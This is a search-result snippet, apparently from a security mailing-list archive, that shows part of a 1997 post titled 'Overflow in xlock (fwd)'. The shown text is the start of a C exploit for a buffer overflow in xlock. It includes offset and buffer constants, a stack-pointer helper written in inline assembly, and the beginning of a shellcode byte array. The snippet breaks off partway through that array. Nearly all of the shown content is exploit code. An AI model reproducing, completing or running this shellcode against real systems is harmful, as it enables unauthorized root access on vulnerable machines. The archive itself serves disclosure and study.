search for: dfltoffset

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1997 Apr 27
0
Overflow in xlock (fwd)
...t;stdlib.h> #include <unistd.h> #define DEFAULT_OFFSET 50 #define BUFFER_SIZE 996 long get_esp(void) { __asm__("movl %esp,%eax\n"); } int main(int argc, char *argv[]) { char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; int dfltOFFSET = DEFAULT_OFFSET; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"...